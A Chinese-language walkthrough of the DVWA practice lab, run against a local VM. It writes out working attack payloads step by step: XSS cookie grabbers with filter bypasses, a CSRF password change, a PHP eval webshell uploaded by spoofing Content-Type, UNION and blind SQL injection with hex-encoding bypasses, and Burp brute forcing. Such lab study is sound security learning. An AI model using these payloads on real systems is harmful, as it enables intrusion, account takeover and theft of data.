本文将记录DVWA靶场实验的全过程
实验的提示和部分答案全可以通过实验网站右下角的View Help
获取
持续更新中……
目录
XSS(Reflected)
Low
这个是最容易的,我们可以先进行尝试。(攻击都是需要不断尝试的,不断试错才会有结果的)
- 输入
<script>alert('xss')</script>
,发现成功弹出了xss提示框 - 此时,可以打开右小角的
View Source
查看服务器端的php代码,发现只是直接打印出键为name
的值,并没有做任何过滤处理。 - 所以,可以继续输入
<script>alert(document.cookie)</script>
,从而获取网页存储的cookie。
Medium
同样,进行如上的尝试,发现script标签都被过滤掉了,行不通。
所以,同样,先去查看服务器端的php代码。
- 发现,此次使用
str_replace
把<script>
标签替换成空字符串。- 经过查阅,发现
str_replace
该函数不区分大小写,所以输入<Script>alert(document.cookie)</script>
便不会被过滤掉 - 也可以对标签进行嵌套
<s<script>cript>alert(document.cookie)</script>
- 经过查阅,发现
XSS(Stored)
Low
先进行测试,发现Name被限制了大小,可以先通过网页开发者工具修改最大输入长度(或者直接使用burpsuite进行抓包修改也可以)
然后,做法同反射型xss一致,便可成功获取cookie。
这里就不分析php源代码了,因为大部分在进行mysql的判断、提取、插入,不是很有必要去分析,当然主要是我懒😪
Medium
这里直接分析代码,只需要阅读和Low不同的部分即可
然后,去查询strip_tags
和htmlspecialchars
函数的用法即可。
- 在message中,后端剥去了所以的HTML、PHP标签,而且还把字符
<
>
转换为HTML实体。感觉这边不好进行标签注入 - 而在name中,只使用了
str_replace
进行标签替换,这个和反射型是一样的,所以依据反射型的方法,便可以从name中注入标签获取cookie。
CSRF
Medium
- 首先,先尝试修改密码,发现url为
http://192.168.56.101/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
,说明这是通过get请求来传递修改的密码,而且不做加密。 - 所以,思路就是把
password_new
和password_conf
两个字段修改为攻击者想要的密码值即可,并将修改成功后的页面重定向到攻击者所编写的页面,然后通过社会工程学的方法诱使受信任用户点击该链接,便可在用户不知道的前提下修改密码。 - 于是,这里直接访问修改完的链接,模仿受信任用户点击链接。
http://192.168.56.101/vulnerabilities/csrf/?password_new=jks&password_conf=jks&Change=Change#
不过,并没有成功。 - 此时,便可以分析对比前后两次的请求,查看有什么不同。
对比发现,通过点击链接来发送请求的这个报文的首部没有Referer
字段,而Referer
字段是用来识别访问来源的。所以推测服务器端应该是对该字段进行了判断,因为直接点击链接是不会带有该字段的。
所以,只需要使用burp进行抓包,将该字段补充完整再发送即可。
- 然后,使用
Brute Force
来验证是否更改成功。
登录成功,说明密码修改成功。
File Upload
Medium
-
首先,先按照要求尝试上传图片
上传成功,而且还显示了上传路径。 -
接下来,便可以尝试在
hello.php
中编写一句话木马,然后重新上传一次。<?php @eval($_REQUEST['cmd']); ?>
发现上传失败,服务器端只接收JPEG或者PNG,说明服务器端对文件类型进行了过滤。所以,可以对使用burp抓包来对比两次请求的不同。
- 对比发现,这两次的Content-Type的值不同,第一次的值为
image/png
,符合服务器端要求;而第二次的值为application/octet-stream
,不符合要求。 - 所以,只需将其更改为
image/png
即可。
于是,便可以将hello.php成功上传到web上。 - 最后,便可以通过url或者是使用蚁剑来连接方才上传的木马,进而操控服务器。
/hackable/uploads/hello.php?cmd=system("linux指令");#
SQL Injection
Medium
- 首先,先点击提交,发现url并没有发送的数据,说明此次是通过
POST
方法发送请求的。所以,可以使用burp来抓包进行修改。
发现,存在两个字段:id
和Submit
。对id
字段进行sql注入。 - 先测试
id
字段是否需要闭合。0' AND 1=1;#
,发生sql语法报错,说明此处为整型,不需要引号闭合。 - 接着使用
UNION
来判断前者的结果集的列数:0 UNION select 1,2;#
判断结果为2列。 - 然后,查询当前数据库的名称:
0 UNION select 1,database();#
数据库名:dvwa - 借助数据库
information_schema
来查询其他dvwa的表格:0 UNION select 1,table_name from information_schema.tables where table_schema=database();#
表:guestbook,users - 然后逐一查询各表的字段名
0 UNION select 1,column_name from information_schema.columns where table_schema=database() AND table_name='users';#
竟然产生了报错。而报错结果为引号被转义了。此处可以进行代码审计,产看后端代码发现使用了mysqli_real_escape_string
对特殊字符进行了转义,和刚才的报错结果一致。 - 所以我们需要对引号进行绕过。
这里采用的是将字符串转为十六进制的方法。
把users
转成十六进制0x7573657273
0 UNION select 1,column_name from information_schema.columns where table_schema=database() AND table_name=0x7573657273;#
users表的字段名:user_id,
first_name
,last_name
,user
,password
,avatar
,last_login
,failed_login
- 再把
guestbook
转为十六进制0x6775657374626f6f6b
0 UNION select 1,column_name from information_schema.columns where table_schema=database() AND table_name=0x6775657374626f6f6b;#
guestbook表的字段名:comment_id
,comment
,name
High
- 此处和medium的不太一样,这次并不是直接的get请求,也不是直接的post请求,而是另起一个页面进行post请求,但是实际上还是一样的。这里直接在新跳转出的页面进行sql注入。
- 先进行闭合测试:
1' AND 1=1;#
。发现此处需要引号进行闭合。 - 然后,依旧是判断结果集的列数:
0' UNION select 1,2;#
判断结果依旧为2列。 - 由于注入内容与medium相比,只有一个引号的差别,所以下面只简单列出每次注入的内容。
0' UNION select 1,database();#
得到数据库:dvwa0' UNION select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#
得到表:guestbook,users0' UNION select 1,group_concat(column_name) from information_schema.columns where table_schema=database() AND table_name='users';#
得到users表的字段名:user_id,
first_name
,last_name
,user
,password
,avatar
,last_login
,failed_login
0' UNION select 1,column_name from information_schema.columns where table_schema=database() AND table_name='guestbook';#
得到guestbook表的字段名:comment_id
,comment
,name
- 这些步骤本质上和medium是一样的,所以就不再赘述了。
SQL Injection (Blind)
说明:这里只是简单地求数据库名字的长度,求解名字后续会更新。
Medium
- 首先,由于采用post方法发送请求,所以需要使用burp进行抓包。
- 先判断是否需要闭合,也就是判断是数字型还是字符型。
1 AND 1=1;#
回显提示正确
1' AND 1=1;#
回显提示错误
说明存在数字型的注入点。 - 借助
length()
函数开始对数据库名长度进行猜测:1 AND length(database())>2;#
回显提示正确,说明数据库名长度大于2。
一直将比较的数字增大,直到4,发现回显提示错误。
说明数据库名长度应该为4。 - 这里,可以再进行验证:
1 AND length(database())=4;#
得到的回显提示正确,说明数据库名长度的确为4。 - 另外,这里还可以使用时间盲注:
1 AND if(length(database())=2,sleep(5),1);#
得到的结果是一样的,只不过sql语句执行成功的时候,时间会延长5s再回显。
High
- 此处和medium的不太一样,这次并不是直接的get请求,也不是直接的post请求,而是另起一个页面进行post请求,但是实际上还是一样的。这里直接在新跳转出的页面进行sql注入。
- 首先,先判断是字符型还是数字型的。
1' AND 1=1;#
回显提示正确
1' AND 1=2;#
回显提示错误
说明存在字符型的注入点。 - 这里仍然采用BOOL盲注。
1' AND length(database())>2;#
思路与medium一致。一直到比较长度为4时,才出现回显提示错误。说明数据库名的长度为4。
Brute Force
Medium
- 直接使用burp来进行暴力破解
- 先抓包,将其发送到Intruder模块,然后将密码选择为payload,用户名默认为admin
- 然后,导入字典
于是,便可以开始破解。 - 最后,查看结果
得到密码为password
High
- 同样,使用burp进行抓包,发现此次多了个字段
user_token
- 此次服务器端还使用token来验证用户的身份,所以,再每进行一次暴力破解时,都需要把当前页面的token添加到请求中,以便通过服务器端的验证。
- 所以,此次需要设置两个payload,分别为
password
和user_token
这里,需要设置Grep-Extract,将当前的token复制到下一次的请求中
- 然而,对第一个payload仍然是使用字典来破解。
得到密码为password